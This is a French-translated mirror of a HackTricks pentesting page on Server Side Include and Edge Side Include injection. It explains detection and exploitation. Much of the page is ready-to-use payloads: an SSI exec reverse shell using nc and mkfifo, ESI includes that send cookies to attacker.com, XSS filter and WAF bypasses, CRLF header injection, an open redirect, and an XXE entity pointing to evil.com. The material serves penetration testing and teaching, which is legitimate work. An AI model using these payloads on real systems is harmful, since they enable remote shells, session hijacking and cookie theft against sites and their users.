Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-18 00:53:43 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

15 KiB
Raw Blame History

Injection de Server Side Inclusion/Edge Side Inclusion

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base sur la Server Side Inclusion

Les SSI (Server Side Includes) sont des directives qui sont placées dans des pages HTML et évaluées sur le serveur pendant que les pages sont servies. Ils vous permettent d'ajouter du contenu généré dynamiquement à une page HTML existante, sans avoir à servir l'ensemble de la page via un programme CGI ou une autre technologie dynamique.
Par exemple, vous pouvez placer une directive dans une page HTML existante, comme :

<!--#echo var="DATE_LOCAL" -->

Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa valeur :

Mardi, 15-Jan-2013 19:28:54 EST

La décision de quand utiliser SSI et quand avoir votre page entièrement générée par un programme est généralement une question de savoir combien de la page est statique et combien doit être recalculé chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petites informations, telles que l'heure actuelle - comme indiqué ci-dessus. Mais si la majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution. (Définition prise ici).

Vous pouvez déduire la présence de SSI si l'application web utilise des fichiers avec les extensions ** .shtml, .shtm ou .stm**, mais ce n'est pas toujours le cas.

Une expression SSI typique a le format suivant :

<!--#directive param="value" -->

Vérification

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Inclusion côté serveur

Il y a un problème de mise en cache d'informations ou d'applications dynamiques car une partie du contenu peut avoir changé pour la prochaine fois que le contenu est récupéré. C'est là que l'ESI est utilisé, pour indiquer à l'aide de balises ESI le contenu dynamique qui doit être généré avant l'envoi de la version mise en cache.
Si un attaquant est capable d'injecter une balise ESI à l'intérieur du contenu mis en cache, alors il pourrait être capable d'injecter un contenu arbitraire dans le document avant qu'il ne soit envoyé aux utilisateurs.

Détection de l'ESI

L'en-tête suivant dans une réponse du serveur signifie que le serveur utilise l'ESI:

Surrogate-Control: content="ESI/1.0"

Si vous ne trouvez pas cet en-tête, le serveur pourrait quand même utiliser ESI.
Une approche d'exploitation aveugle peut également être utilisée car une requête doit arriver sur le serveur de l'attaquant:

// Basic detection
hell<!--esi-->o 
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Exploitation de l'ESI

GoSecure a créé un tableau pour nous aider à comprendre les attaques possibles que nous pouvons essayer contre différents logiciels capables d'ESI, en fonction des fonctionnalités prises en charge. Expliquons d'abord les noms de colonnes du tableau ci-dessous :

  • Includes : prend en charge la directive <esi:includes>
  • Vars : prend en charge la directive <esi:vars>. Utile pour contourner les filtres XSS
  • Cookie : les cookies du document sont accessibles au moteur ESI
  • Upstream Headers Required : les applications de substitution ne traiteront pas les instructions ESI à moins que l'application en amont ne fournisse les en-têtes
  • Host Allowlist : dans ce cas, les inclusions ESI ne sont possibles que depuis les hôtes de serveur autorisés, rendant SSRF, par exemple, possible uniquement contre ces hôtes
Logiciel Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 Oui Oui Oui Oui Non
Varnish Cache Oui Non Non Oui Oui
Fastly Oui Non Non Non Oui
Akamai ESI Test Server (ETS) Oui Oui Oui Non Non
NodeJS esi Oui Oui Oui Non Non
NodeJS nodesi Oui Non Non Non Optionnel

XSS

La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur.

<esi:include src=http://attacker.com/xss.html>

Le fichier http://attaquant.com/xss.html peut contenir une charge utile XSS telle que <script>alert(1)</script>

Contourner la protection XSS côté client

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Vol de Cookie

  • Vol de cookie à distance
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Voler le cookie HTTP_ONLY avec XSS en le reflétant dans la réponse:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
  • Prise de contrôle complète du compte en reflétant les cookies

Fichier local privé

Ne pas confondre avec une "inclusion de fichier local":

<esi:include src="secret.txt">

CRLF

CRLF signifie Carriage Return Line Feed. Il s'agit d'une séquence de caractères utilisée pour représenter la fin d'une ligne de texte et le début d'une nouvelle ligne dans un fichier texte. Les serveurs Web utilisent souvent CRLF pour séparer les en-têtes HTTP des corps de réponse.

Les attaquants peuvent exploiter les vulnérabilités CRLF pour injecter des en-têtes HTTP malveillants dans les réponses du serveur, ce qui peut entraîner des attaques de type XSS, des attaques de redirection et d'autres types d'attaques. Les attaquants peuvent également utiliser CRLF pour modifier les en-têtes HTTP et les cookies, ce qui peut entraîner des fuites d'informations sensibles.

Les techniques d'injection CRLF peuvent être utilisées pour exploiter les vulnérabilités de SSI et d'ESI, ainsi que pour effectuer des attaques de type HTTP Response Splitting. Les attaquants peuvent également utiliser CRLF pour contourner les mécanismes de sécurité tels que les pare-feu et les filtres de contenu.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Redirection ouverte

Le code suivant ajoutera un en-tête Location à la réponse.

<!--esi $add_header('Location','http://attacker.com') -->

Ajouter un en-tête

  • Ajouter un en-tête dans une requête forcée
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Ajouter un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

CRLF dans l'ajout d'en-tête (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Débogage Akamai

Cela enverra des informations de débogage incluses dans la réponse :

<esi:debug/>

ESI + XSLT = XXE

Il est également possible d'ajouter des inclusions ESI basées sur _la transformation de langage de feuilles de style extensible (XSLT)_ en spécifiant la valeur xslt pour le paramètre dca. L'inclusion suivante provoquera la demande de fichier XML et de fichier XSLT par le serveur proxy HTTP. Le fichier XSLT est ensuite utilisé pour filtrer le fichier XML. Ce fichier XML peut être utilisé pour effectuer des attaques XML External Entity (XXE). Cela permet aux attaquants d'effectuer des attaques SSRF, ce qui n'est pas très utile car cela doit être effectué via des inclusions ESI, qui est un vecteur SSRF en soi. Les DTD externes ne sont pas analysés car la bibliothèque sous-jacente (Xalan) ne les prend pas en charge. Cela signifie que nous ne pouvons pas extraire de fichiers locaux.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

Le fichier XSLT :

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Vérifiez la page XSLT:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}

Références

Liste de détection de force brute

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥